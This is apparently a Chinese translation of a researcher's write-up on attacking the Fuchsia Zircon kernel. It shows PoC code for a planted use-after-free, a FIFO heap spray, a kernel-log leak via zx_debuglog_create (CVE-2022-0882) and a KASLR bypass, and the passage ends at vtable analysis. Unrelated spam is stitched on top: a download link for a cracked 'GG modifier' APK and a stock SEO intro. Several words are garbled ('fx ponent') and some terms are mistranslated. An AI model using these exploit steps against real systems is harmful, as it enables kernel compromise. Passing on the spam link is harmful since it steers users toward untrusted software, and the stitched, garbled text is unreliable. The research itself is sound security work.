GG修改器破解版下载地址:https://ghb2023zs.bj.bcebos.com/d/z/p/d/dbzs.apk?GGXGQ
大家好,今天小编为大家分享关于gg修改器免root版安全_GG修改器免ROOT的内容,赶快来一起来看看吧。
Fuchsia 是谷歌开发的一种通用的开源操作系统。它基于用 C++ 编写的 Zircon 微内核,目前正在积极开发中。开发人员表示,Fuchsia 的设计重点是安全、可升级性和性能。作为一个 Linux 内核黑客,我决定看一看 Fuchsia OS,并从攻击者的角度评估它。这篇文章描述了我的实验。
Fuchsia 是一个通用的开源操作系统。谷歌在 2016 年左右开始了这个操作系统的开发。2020 年 12 月,这个项目对来自公众的贡献者开放。2021 年 5 月,谷歌正式发布了在 Nest Hub 设备上运行的 Fuchsia。该操作系统支持 arm64 和 x86-64。Fuchsia 正在积极开发中,看起来很有活力,所以我决定在它身上做一些安全实验。
让我们来看看 Fuchsia 设计的基本理念。这个操作系统被开发用于与各种设备相关联的生态系统:物联网、智能手机、PC。这就是为什么 Fuchsia 的开发者特别关注安全性和可更新性。因此,Fuchsia 操作系统采用了非同一般的安全架构。
这些安全特性使 Fuchsia OS 成为我感兴趣的新研究目标。
Fuchsia 文档提供了一个很好的教程,描述如何开始使用这个操作系统。该教程给出了一个脚本的链接,该脚本可以检查你的 GNU/Linux 系统是否符合从源代码构建 Fuchsia 的要求:
$ ./ffx-linux-x64 platform preflight
复制代码
它说不支持非 Debian 发行版。然而,我还没有经历过针对 Fedora 34 的问题。该教程还提供了下载 Fuchsia 源代码和设置环境变量的说明。
以下命令建立了 Fuchsia 的 workstation product 与 x86_64 的开发者工具:
$ fx clean
$ fx set workstation.x64 --with-base //bundles:tools
$ fx build
复制代码
构建完 Fuchsia 系统后,你可以在 FEMU(Fuchsia 模拟器)中启动它。FEMU 基于安卓模拟器(AEMU),它是 QEMU 的一个分支。
$ fx vdl start -N
复制代码
让我们为 Fuchsia 创建一个“hello world”的应用程序。正如我前面提到的,Fuchsia 的应用程序和程序被称为组件。这个命令为一个新的组件创建一个模板。
$ fx ponent --path src/ns-fuchsia --lang cpp
复制代码
我希望这个组件将“hello”打印到 Fuchsia 日志:
#include <iostream>
int main(int argc, const char** argv)
{
std::cout << "Hello from a13x, Fuchsia!
";
return 0;
}
复制代码
组件清单 src/ns-fuchsia/meta/ns_fuchsia.cml 应该有这一部分,以允许 stdout 记录:
program: {
// Use the built-in ELF runner.
runner: "elf",
// The binary to run for ponent.
binary: "bin/ns-fuchsia",
// Enable stdout logging
forward_stderr_to: "log",
forward_stdout_to: "log",
},
复制代码
这些命令用一个新的组件来构建 Fuchsia:
$ fx set workstation.x64 --with-base //bundles:tools --with-base //src/ns-fuchsia
$ fx build
复制代码
当带有新组件的 Fuchsia 构建完成后,我们就可以测试它了:
$ ponent run fuchsia-pkg:///ns-fuchsia#meta/ns_fuchsia.cm-recreate
复制代码
在这张截图中,我们看到 Fuchsia 通过 URL 解析了这个组件,下载并启动了它。然后,该组件将 Hello from a13x, Fuchsia!打印到第三个终端的 Fuchsia 日志中。
现在我们来关注一下 Zircon 内核的开发工作流程。C++ 的 Zircon 源代码是 Fuchsia 源代码的一部分。它位于 zircon/kernel 子目录下,在 Fuchsia 操作系统建立时进行编译。Zircon 的开发和调试需要使用 fx qemu -N 命令在 QEMU 中运行它。然而,当我尝试时,我得到了一个错误:
$ fx qemu -N
Building multiboot.bin, fuchsia.zbi, obj/build/images/fuchsia/fuchsia/fvm.blk
ninja: Entering directory `/home/a13x/develop/fuchsia/src/fuchsia/out/default’
ninja: no work to do.
ERROR: Could not extend FVM, unable to stat FVM image out/default/obj/build/images/fuchsia/fuchsia/fvm.blk
复制代码
我发现这个故障发生在具有非英语控制台语言的机器上。这个错误已经存在了很长时间了。我不知道为什么这个补丁还没有被合并。有了这个补丁,Fuchsia OS 可以在 QEMU/KVM 虚拟机上成功启动。
diff --git a/tools/devshell/lib/fvm.sh b/tools/devshell/lib/fvm.sh
index 705341e482c...5d1c7658d34 100644
--- a/tools/devshell/lib/fvm.sh
+++ b/tools/devshell/lib/fvm.sh
@@ -35,3 +35,3 @@ function fx-fvm-extend-image {
fi
- stat_output=$(stat "${stat_flags[@]}" "${fvmimg}" )
+ stat_output=$(LC_ALL=C stat "${stat_flags[@]}" "${fvmimg}" )
if [[ "$stat_output" =~ Size: ([0-9]+)]; then
复制代码
在 QEMU/KVM 中运行 Fuchsia 可以用 GDB 调试 Zircon 的微内核。让我们来看看这个动作。
$ fx qemu -N -s 1 --no-kvm -- -s
复制代码
$ cat ~/.gdbinit
add-auto-load-safe-path /home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/zircon.elf-gdb.py
复制代码
$ cd /home/a13x/develop/fuchsia/src/fuchsia/out/default/
$ gdb kernel_x64/zircon.elf
(gdb) target extended-remote :1234
复制代码
这个过程是为了使用 GDB 调试 Zircon。
然而,在我的机器上,Zircon 的 GDB 脚本在每次启动时都完全挂起,我不得不对这个脚本进行调试。我发现它调用了带有 -readnow 参数的 add-symbol-file GDB 命令,这需要立即读取整个符号文件。由于某些原因,GDB 无法在合理的时间内从 110MB 的 Zircon 二进制文件中读出符号。在我的机器上去掉这个选项就解决了这个问题,并允许正常的 Zircon 调试。
diff --git a/zircon/kernel/scripts/zircon.elf-gdb.py b/zircon/kernel/scripts/zircon.elf-gdb.py
index d027ce4af6d..8faf73ba19b 100644
--- a/zircon/kernel/scripts/zircon.elf-gdb.py
+++ b/zircon/kernel/scripts/zircon.elf-gdb.py
@@ -798,3 +798,3 @@ def _offset_symbols_and_breakpoints(kernel_relocated_base=None):
# Reload the ELF with all sections set
- gdb.execute("add-symbol-file "%s" 0x%x -readnow %s"
+ gdb.execute("add-symbol-file "%s" 0x%x %s"
% (sym_path, text_addr, " ".join(args)), to_string=True)
复制代码
KASAN(Kernel Address SANitizer)是一个运行时内存调试器,旨在发现越界访问和内存释放后使用的错误。Fuchsia 支持用 KASAN 编译 Zircon 微内核。在这个实验中,我建立了 Fuchsia 的 core product:
$ fx set core.x64 --with-base //bundles:tools --with-base //src/ns-fuchsia --variant=kasan
$ fx build
复制代码
为了测试 KASAN,我在使用 TimerDispatcher 对象的 Fuchsia 代码中添加了一个合成 bug:
diff --git a/zircon/kernel/object/timer_dispatcher.cc b/zircon/kernel/object/timer_dispatcher.cc
index a83b750ad4a..14535e23ca9 100644
--- a/zircon/kernel/object/timer_dispatcher.cc
+++ b/zircon/kernel/object/timer_dispatcher.cc
@@ -184,2 +184,4 @@ void TimerDispatcher::OnTimerFired() {
+ bool uaf = false;
+
{
@@ -187,2 +189,6 @@ void TimerDispatcher::OnTimerFired() {
+ if (deadline_ % 100000 == 31337) {
+ uaf = true;
+ }
+
if (cancel_pending_) {
@@ -210,3 +216,3 @@ void TimerDispatcher::OnTimerFired() {
// ourselves.
- if (Release())
+ if (Release() || uaf)
delete this;
复制代码
正如你所看到的,如果定时器的最后期限值以 31337 结束,那么无论 refcount 值如何,TimerDispatcher 对象都被释放了。我想从用户空间组件打这个内核 bug,看看 KASAN 错误报告。这就是我添加到我的 ns-fuchsia 组件中的代码。
zx_status_t status;
zx_handle_t timer;
zx_time_t deadline;
status = zx_timer_create(ZX_TIMER_SLACK_LATE, ZX_CLOCK_MONOTONIC, &timer);
if (status != ZX_OK) {
printf("[-] creating timer failed
");
return 1;
}
printf("[+] timer is created
");
deadline = zx_deadline_after(ZX_MSEC(500));
deadline = deadline - deadline % 100000 + 31337;
status = zx_timer_set(timer, deadline, 0);
if (status != ZX_OK) {
printf("[-] setting timer failed
");
return 1;
}
printf("[+] timer is set with deadline %ld
", deadline);
fflush(stdout);
zx_nanosleep(zx_deadline_after(ZX_MSEC(800))); // timer fired
zx_timer_cancel(timer); // hit UAF
复制代码
这里调用了 zx_timer_create() 系统调用。它初始化了一个新定时器对象的定时器句柄。然后这个程序将定时器的最后期限设置为以 31337 结尾的魔法值。在这个程序等待 zx_nanosleep() 的时候,Zircon 删除了被启动的定时器。下面的 zx_timer_cancel() 系统调用对于被删除的定时器会引发使用后的免费。
因此,执行这个用户空间组件会使 Zircon 内核崩溃,并产生一个可爱的 KASAN 报告。很好,KASAN 管用!引述相关部分:
ZIRCON KERNEL PANIC
UPTIME: 17826ms, CPU: 2
...
KASAN detected a write error: ptr=}, size=0x4, caller: }
Shadow memory state around the buggy address 0xffffffe00d9a63d5:
0xffffffe00d9a63c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63d0: 0xfa 0xfa 0xfa 0xfa 0xfd 0xfd 0xfd 0xfd
^^
0xffffffe00d9a63d8: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd
0xffffffe00d9a63e0: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd
*** KERNEL PANIC (caller pc: 0xffffffff0038910d, stack frame: 0xffffff97bd72ee70):
...
Halted
entering panic shell loop
!
复制代码
Zircon 还将崩溃的回溯打印成一些模糊的内核地址链。为了使它能被人类阅读,我不得不用一个特殊的 Fuchsia 工具来处理它:
$ cat crash.txt | fx symbolize > crash_sym.txt
复制代码
以下是 fx symbolize 后的回溯:
dso: id=58d07915d755d72e base=0xffffffff00100000 name=zircon.elf
#0 0xffffffff00324b7d in platform_specific_halt(platform_halt_action, zircon_crash_reason_t, bool) ../../zircon/kernel/platform/pc/power.cc:154 <kernel>+0xffffffff80324b7d
#1 0xffffffff005e4610 in platform_halt(platform_halt_action, zircon_crash_reason_t) ../../zircon/kernel/platform/power.cc:65 <kernel>+0xffffffff805e4610
#2.1 0xffffffff0010133e in $anon::PanicFinish() ../../zircon/kernel/top/debug.cc:59 <kernel>+0xffffffff8010133e
#2 0xffffffff0010133e in panic(const char*) ../../zircon/kernel/top/debug.cc:92 <kernel>+0xffffffff8010133e
#3 0xffffffff0038910d in asan_check(uintptr_t, size_t, bool, void*) ../../zircon/kernel/lib/instrumentation/asan/asan-poisoning.cc:180 <kernel>+0xffffffff8038910d
#4.4 0xffffffff003c169a in std::__2::__cxx_atomic_fetch_add<int>(std::__2::__cxx_atomic_base_impl<int>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1002 <kernel>+0xffffffff803c169a
#4.3 0xffffffff003c169a in std::__2::__atomic_base<int, true>::fetch_add(std::__2::__atomic_base<int, true>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686 <kernel>+0xffffffff803c169a
#4.2 0xffffffff003c169a in fbl::internal::RefCountedBase<true>::AddRef(const fbl::internal::RefCountedBase<true>*) ../../zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:39 <kernel>+0xffffffff803c169a
#4.1 0xffffffff003c169a in fbl::RefPtr<Dispatcher>::operator=(const fbl::RefPtr<Dispatcher>&, fbl::RefPtr<Dispatcher>*) ../../zircon/system/ulib/fbl/include/fbl/ref_ptr.h:89 <kernel>+0xffffffff803c169a
#4 0xffffffff003c169a in HandleTable::GetDispatcherWithRightsImpl<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*, bool) ../../zircon/kernel/object/include/object/handle_table.h:243 <kernel>+0xffffffff803c169a
#5.2 0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*) ../../zircon/kernel/object/include/object/handle_table.h:108 <kernel>+0xffffffff803d3f02
#5.1 0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*) ../../zircon/kernel/object/include/object/handle_table.h:116 <kernel>+0xffffffff803d3f02
#5 0xffffffff003d3f02 in sys_timer_cancel(zx_handle_t) ../../zircon/kernel/lib/syscalls/timer.cc:67 <kernel>+0xffffffff803d3f02
#6.2 0xffffffff003e1ef1 in λ(const wrapper_timer_cancel::(anon class)*, ProcessDispatcher*) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1170 <kernel>+0xffffffff803e1ef1
#6.1 0xffffffff003e1ef1 in do_syscall<(lambda at gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169:85)>(uint64_t, uint64_t, bool (*)(uintptr_t), wrapper_timer_cancel::(anon class)) ../../zircon/kernel/lib/syscalls/syscalls.cc:106 <kernel>+0xffffffff803e1ef1
#6 0xffffffff003e1ef1 in wrapper_timer_cancel(SafeSyscallArgument<unsigned int, true>::RawType, uint64_t) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169 <kernel>+0xffffffff803e1ef1
#7 0xffffffff005618e8 in gen/zircon/vdso/include/lib/syscalls/kernel.inc:1103 <kernel>+0xffffffff805618e8
复制代码
你可以看到 wrapper_timer_cancel() 系统调用处理程序调用了 sys_timer_cancel(),其中 GetDispatcherWithRightsImpl<TimerDispatcher>() 与一个引用计数器一起工作,并执行了内存释放后使用。这个内存访问错误在 asan_check() 中被检测到,它调用了 panic()。
这个回溯帮助我理解了 sys_timer_cancel() 函数的 C++ 代码实际上是如何工作的。
// zx_status_t zx_timer_cancel
zx_status_t sys_timer_cancel(zx_handle_t handle) {
auto up = ProcessDispatcher::GetCurrent();
fbl::RefPtr<TimerDispatcher> timer;
zx_status_t status = up->handle_table().GetDispatcherWithRights(handle, ZX_RIGHT_WRITE, &timer);
if (status != ZX_OK)
return status;
return timer->Cancel();
}
复制代码
当我让 Fuchsia OS 与 KASAN 一起工作时,我感到自信并为安全研究做好了准备。
在研究了 Fuchsia 内核开发工作流程的基础知识后,我决定开始安全研究。对于 Fuchsia 内核安全的实验,我需要一个 Zircon bug 来开发一个 PoC 漏洞。实现这一目标的最简单方法是模糊处理。
有一个伟大的覆盖率引导的内核模糊器,叫做 syzkaller。我很喜欢这个项目和它的团队,我喜欢用它来对 Linux 内核进行模糊处理。syzkaller 的文档说它支持对 Fuchsia 的模糊处理,所以我首先尝试了一下。
然而,由于 Fuchsia 上不寻常的软件交付,我遇到了麻烦,这是我前面描述过的。一个用于模糊测试的 Fuchsia 镜像必须包含 syz-executor 这个组件。syz-executor 是 syzkaller 项目的一部分,负责在虚拟机上执行模糊测试的输入。但我没能用这个组件构建一个 Fuchsia 镜像。
首先,根据 syzkaller 文档,我尝试用外部的 syzkaller 源代码来构建 Fuchsia:
$ fx --dir "out/x64" set core.x64
--with-base "//bundles:tools"
--with-base "//src/testing/fuzzing/syzkaller"
--args=syzkaller_dir=’"/home/a13x/develop/gopath/src//google/syzkaller/"’
ERROR at //build/go/go_library.gni:43:3 (//build/toolchain:host_x64): Assertion failed.
assert(defined(invoker.sources), "sources is required for go_library")
^-----
sources is required for go_library
See //src/testing/fuzzing/syzkaller/BUILD.gn:106:3: whence it was called.
go_library("syzkaller-go") {
^---------------------------
See //src/testing/fuzzing/syzkaller/BUILD.gn:85:5: which caused the file to be included.
":run-sysgen($host_toolchain)",
^-----------------------------
ERROR: error running gn gen: exit status 1
复制代码
看起来构建系统并没有正确处理 syzkaller_dir 参数。我试图删除这个断言并调试 Fuchsia 的构建系统,但我失败了。
然后我在 Fuchsia 源代码中发现了 third_party/syzkaller/ 子目录。它包含了 syzkaller 源代码的一个本地拷贝,用于在没有 –args=syzkaller_dir 的情况下构建。但这是一个相当老的副本:最后一次提交是在 2020 年 6 月 2 日。用这个老版本的 syzkaller 构建当前的 Fuchsia 也失败了,因为 Fuchsia 的系统调用、头文件位置等有很多变化。
我又试了一次,更新了 third_party/syzkaller/ 子目录下的 syzkaller。但是构建没有成功,因为 Fuchsia BUILD.gn 文件对于 syzkaller 来说需要根据 syzkaller 的变化进行大幅度地重写。
简而言之,也许 Fuchsia 与 syzkaller 的集成在 2020 年曾经工作过,但目前它已经损坏。我查看了 Fuchsia 的版本控制系统,找到了致力于这个功能的 Fuchsia 开发者。我给他们写了一封邮件,描述了这个 bug 的所有技术细节,但没有得到回复。
在 Fuchsia 构建系统上花费更多的时间,让我感到压力很大。
我反思了我的进一步研究的策略。如果不进行模糊处理,要成功发现操作系统内核中的漏洞需要:
获得 Fuchsia 的这些经验需要我花费大量的时间。我想在我的第一个 Fuchsia 研究上花费大量时间吗?也许不是,因为:
所以我专注于利用 TimerDispatcher 的免费使用。我的开发策略很简单:用受控数据覆盖释放的 TimerDispatcher 对象,使 Zircon 的定时器代码工作异常,或者说,将这段代码变成一个奇怪的机器。
首先,为了覆盖 TimerDispatcher,我需要发现一个堆喷射(Heap Spraying)的利用原语,该原语是:
我从我的 Linux 内核经验中知道,堆喷射通常是利用进程间通信(IPC)构建的。根据第 1 段,基本的 IPC 系统调用通常对无特权的程序可用。根据第 3 段,它们将用户空间的数据复制到内核空间,以便将其传输给接收者。最后,根据第 2 段,一些 IPC 系统调用设置了传输的数据大小,这就给出了对内核分配器行为的控制,允许攻击者覆盖目标释放的对象。
这就是为什么我开始研究负责 IPC 的 Zircon 系统调用。我发现了 Zircon FIFO,它被证明是一个很好的堆喷射原语。当 zx_fifo_create() 系统调用被调用时,Zircon 创建了一对 FifoDispatcher 对象(见 zircon/kernel/object/fifo_dispatcher.cc 中的代码)。它们中的每一个都为 FIFO 数据分配所需的内核内存。
auto data0 = ktl::unique_ptr<uint8_t[]>(new (∾) uint8_t[count * elemsize]);
if (!ac.check())
return ZX_ERR_NO_MEMORY;
KernelHandle fifo0(fbl::AdoptRef(
new (∾) FifoDispatcher(ktl::move(holder0), options, static_cast<uint32_t>(count),
static_cast<uint32_t>(elemsize), ktl::move(data0))));
if (!ac.check())
return ZX_ERR_NO_MEMORY;
复制代码
通过调试器,我确定释放的 TimerDispatcher 对象的大小是 248 字节。我假设,为了成功地进行堆喷射,我需要创建相同数据大小的 Zircon FIFO。这个想法立即奏效:在 GDB 中,我看到 Zircon 用 FifoDispatcher 的数据覆盖了释放的 TimerDispatcher! 这就是我的 PoC 漏洞中的堆喷射的代码:
printf("[!] do heap spraying...
");
#define N 10
zx_handle_t out0[N];
zx_handle_t out1[N];
size_t write_result = 0;
for (int i = 0; i < N; i++) {
status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);
if (status != ZX_OK) {
printf("[-] creating a fifo %d failed
", i);
return 1;
}
}
复制代码
这里 zx_fifo_create() 系统调用被执行了 10 次。每一次都会创建一对包含 31 个元素的 FIFO。每个元素的大小为 8 字节。所以这段代码创建了 20 个 FifoDispatcher 对象,有 248 字节的数据缓冲区。
而在这里,Zircon FIFO 被填充了堆喷射的有效负载,准备覆盖释放的 TimerDispatcher 对象:
for (int i = 0; i < N; i++) {
status = zx_fifo_write(out0[i], 8, spray_data, 31, &write_result);
if (status != ZX_OK || write_result != 31) {
printf("[-] writing to fifo 0-%d failed, error %d, result %zu
", i, status, write_result);
return 1;
}
status = zx_fifo_write(out1[i], 8, spray_data, 31, &write_result);
if (status != ZX_OK || write_result != 31) {
printf("[-] writing to fifo 1-%d failed, error %d, result %zu
", i, status, write_result);
return 1;
}
}
printf("[+] heap spraying is finished
");
复制代码
好的,我可以更改 TimerDispatcher 对象的内容。但是,要在其中写入什么内容才能发动攻击呢?
作为一个 Linux 内核的开发者,我已经习惯了用 C 结构来描述内核对象。一个 Linux 内核对象的方法被实现为一个存储在相应 C 结构中的函数指针。这种内存布局是明确而简单的。
但是,Zircon 中 C++ 对象的内存布局在我看来要复杂得多,也晦涩难懂。我试图研究 TimerDispatcher 对象的解剖结构,并在 GDB 中使用 print -pretty on -vtbl on 命令进行展示。输出结果是一大堆乱七八糟的东西,而且我没能把它和这个对象的十六进制转储关联起来。然后我试了一下 TimerDispatcher 的 pahole 工具。它显示了类成员的偏移量,但对理解类方法的实现方式没有帮助。类的继承性使整个情况更加复杂。
我决定不把时间浪费在研究 TimerDispatcher 对象的内部结构上,而是尝试盲目实践。我使用 FIFO 堆喷射,用零字节覆盖了整个 TimerDispatcher,看看发生了什么。Zircon 在 zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:57 的断言处崩溃了:
const int32_t rc = ref_count_.fetch_add(1, std::memory_order_relaxed);
//...
if constexpr (EnableAdoptionValidator) {
ZX_ASSERT_MSG(rc >= 1, "count %d(0x%08x) < 1
", rc, static_cast<uint32_t>(rc));
}
复制代码
没有问题。我发现这个 refcount 被存储在从 TimerDispatcher 对象开始的 8 字节偏移处。为了绕过这个检查,我在堆喷射出的有效负载中设置了相应的字节:
unsigned int *refcount_ptr = (unsigned int *)&spray_data[8];
*refcount_ptr = 0x1337C0DE;
复制代码
在 Fuchsia 上运行这个 PoC 导致了下一次 Zircon 崩溃,从攻击者的角度来看,这非常有趣。内核在 HandleTable::GetDispatcherWithRights<TimerDispatcher> 中遇到了一个空指针解除引用。用 GDB 踏查指令,帮助我发现这个 C++ 的黑魔法导致了 Zircon 的崩溃。
// Dispatcher -> FooDispatcher
template <typename T>
fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {
return (likely(DispatchTag<T>::ID == (*disp)->get_type()))
? fbl::RefPtr<T>::Downcast(ktl::move(*disp))
: nullptr;
}
复制代码
这里 Zircon 调用了 TimerDispatcher 类的 get_type() 公共方法。这个方法是用 C++ 的 vtable 来引用的。TimerDispatcher vtable 的指针被存储在每个 TimerDispatcher 对象的开头。这对于控制流劫持是很好的。我想说的是,它比针对 Linux 内核的类似攻击更简单,在那里你需要用函数指针搜索适当的内核结构。
控制流劫持需要了解内核符号地址,这取决于 KASLR 的偏移。KASLR 是指内核地址空间布局随机化。Zircon 源代码中多次提到 KASLR。一个例子来自 zircon/kernel/params.gni:
# Virtual address where the kernel is mapped statically. This is the
# base of addresses that appear in the kernel symbol table. At runtime
# KASLR relocation processing adjusts addresses in memory from this base
# to the actual runtime virtual address.
if (current_cpu == "arm64") {
kernel_base = "0xffffffff00000000"
} else if (current_cpu == "x64") {
kernel_base = "0xffffffff80100000" # Has KERNEL_LOAD_OFFSET baked into it.
}
复制代码
对于 Fuchsia,我决定实现一个类似于我对 Linux 内核的 KASLR 绕过的技巧。我对 CVE-2021-26708 的 PoC 攻击使用了 Linux 内核日志来读取内核指针,以启动攻击。Fuchsia 内核日志也包含安全敏感的信息。所以我尝试从我的非特权用户空间组件读取 Zircon 日志。我添加了 use: [ { protocol: “fuchsia.boot.ReadOnlyLog” } ] 到组件清单中,用这段代码打开了日志:
zx::channel local, remote;
zx_status_t status = zx::channel::create(0, &local, &remote);
if (status != ZX_OK) {
fprintf(stderr, "Failed to create channel: %d
", status);
return -1;
}
const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name;
status = fdio_service_connect(kReadOnlyLogPath, remote.release());
if (status != ZX_OK) {
fprintf(stderr, "Failed to connect to ReadOnlyLog: %d
", status);
return -1;
}
zx_handle_t h;
status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h);
if (status != ZX_OK) {
fprintf(stderr, "ReadOnlyLogGet failed: %d
", status);
return -1;
}
复制代码
首先,这段代码创建了一个 Fuchsia 通道,将用于 Fuchsia 日志协议。然后,它为 ReadOnlyLog 调用 fdio_service_connect(),并将通道传输附加到它上面。这些函数来自 fdio 库,它为各种 Fuchsia 资源提供了一个统一的接口:文件、套接字、服务和其他。执行这段代码会返回错误:
[ffx-laboratory:ns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with
ponent `/core/ffx-laboratory:ns_fuchsia`: A `use from parent` declaration was found
at `/core/ffx-laboratory:ns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer`
declaration was found in the parent
[ffx-laboratory:ns_fuchsia] INFO: [!] try opening kernel log...
[ffx-laboratory:ns_fuchsia] INFO: ReadOnlyLogGet failed: -24
复制代码
那是正确的行为。我的组件是无特权的,而且在父类中没有匹配的 fuchsia.boot.ReadOnlyLog 的 offer 声明。因为这个 Fuchsia 组件不具备所需的能力,所以不被授予访问权。没有办法。
所以我放弃了从内核日志中泄露信息的想法。我开始浏览 Fuchsia 的源代码,等待另一种启示。突然间,我发现了另一种使用 zx_debuglog_create() 系统调用来访问 Fuchsia 内核日志的方法:
zx_status_t zx_debuglog_create(zx_handle_t resource,
uint32_t options,
zx_handle_t* out);
复制代码
Fuchsia 文档中指出,resource 参数必须具有资源类 ZX_RSRC_KIND_ROOT。我的 Fuchsia 组件并不拥有这种资源。总之,我试着用 zx_debuglog_create() 和……
zx_handle_t root_resource; // global var initialized by 0
int main(int argc, const char** argv)
{
zx_status_t status;
zx_handle_t debuglog;
status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);
if (status != ZX_OK) {
printf("[-] can’t create debuglog, no way
");
return 1;
}
复制代码
这段代码成功了!我设法在没有所需功能和ZX_RSRC_KIND_ROOT 资源的情况下读取了 Zircon 内核日志。但为什么呢?我很惊讶,发现 Zircon 代码负责处理这个系统调用。以下是我的发现:
zx_status_t sys_debuglog_create(zx_handle_t rsrc, uint32_t options, user_out_handle* out) {
LTRACEF("options 0x%x
", options);
// TODO(fxbug.dev/32044) Require a non-INVALID handle.
if (rsrc != ZX_HANDLE_INVALID) {
// TODO(fxbug.dev/30918): finer grained validation
zx_status_t status = validate_resource(rsrc, ZX_RSRC_KIND_ROOT);
if (status != ZX_OK)
return status;
}
复制代码
这的确是一次搞笑的安全检查!在 Fuchsia 的错误报告系统中,32044 和 30918 问题的 access denied。Fuchsia bug 报告系统对 32044 和 30918 的问题给予了拒绝访问。所以我提交了一个安全漏洞,描述 sys_debuglog_create() 有一个不当的能力检查,导致内核信息泄露。顺便说一下,这个问题追踪器要求提供纯文本的信息,但默认情况下,它将报告渲染成 Markdown(这很奇怪,点击 Markdown 按钮可以禁用这种行为)。
Fuchsia 的维护者批准了这个问题,并申请了 CVE-2022-0882。
由于阅读 Fuchsia 的内核日志不再是一个问题,我从其中提取了一些内核指针来绕过 Zircon KASLR。我第二次感到惊奇,又笑了起来。
尽管有 KASLR,但每次 Fuchsia 启动时的内核指针都是一样的!请看相同的日志输出的例子。Boot #1:
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.197] 00000:01029> Free memory after kernel init: 8424374272 bytes.
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.200] 00000:01029> userboot: ramdisk 0x18c5000 @ 0xffffff8003bdd000
[0.201] 00000:01029> userboot: userboot rodata 0 @ [0x2ca730e3000,0x2ca730e9000)
[0.201] 00000:01029> userboot: userboot code 0x6000 @ [0x2ca730e9000,0x2ca73100000)
[0.201] 00000:01029> userboot: vdso/next rodata 0 @ [0x2ca73100000,0x2ca73108000)
复制代码
Boot #2:
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.194] 00000:01029> Free memory after kernel init: 8424361984 bytes.
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.194] 00000:01029> userboot: ramdisk 0x18c5000 @ 0xffffff8003bdd000
[0.198] 00000:01029> userboot: userboot rodata 0 @ [0x2bc8b83c000,0x2bc8b842000)
[0.198] 00000:01029> userboot: userboot code 0x6000 @ [0x2bc8b842000,0x2bc8b859000)
[0.198] 00000:01029> userboot: vdso/next rodata 0 @ [0x2bc8b859000,0x2bc8b861000)
复制代码
内核指针是一样的。Zircon KASLR 不起作用。我在 Fuchsia 的 bug 追踪器中提交了一个安全问题(禁用 Markdown 模式才能正确看到)。Fuchsia 的维护者回答说这个问题他们已经知道了。
Fuchsia OS 的实验性比我想象的要强。
在我意识到 Fuchsia 的内核函数有固定地址之后,我开始研究 Zircon C++ 对象的 vtables。我想,构造一个假的 vtable 可以实现控制流劫持。
正如我所提到的,指向相应 vtable 的指针被存储在对象的开头。这是 GDB 为 TimerDispatcher 对象显示的内容:
(gdb) info vtbl *(TimerDispatcher *)0xffffff802c5ae768
vtable for ’TimerDispatcher’ @ 0xffffffff003bd11c (subobject @ 0xffffff802c5ae768):
[0]: 0xffdffe64ffdffd24
[1]: 0xffdcb5a4ffe00454
[2]: 0xffdffea4ffdc7824
[3]: 0xffd604c4ffd519f4
...
复制代码
像 0xffdcb5a4ffe00454 这样的奇怪值肯定不是内核地址。我看了一下与 TimerDispatcher vtable 一起工作的代码:
// Dispatcher -> FooDispatcher
template <typename T>
fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {
return (likely(DispatchTag<T>::ID == (*disp)->get_type()))
? fbl::RefPtr<T>::Downcast(ktl::move(*disp))
: nullptr;
}
复制代码
这个高级别的 C++ 噩梦变成了下面的简单汇编:
mov rax,QWORD PTR [r13+0x0]
movsxd r11,DWORD PTR [rax+0x8]
add r11,rax
mov rdi,r13
call 0xffffffff0031a77c <__x86_indirect_thunk_r11>
复制代码
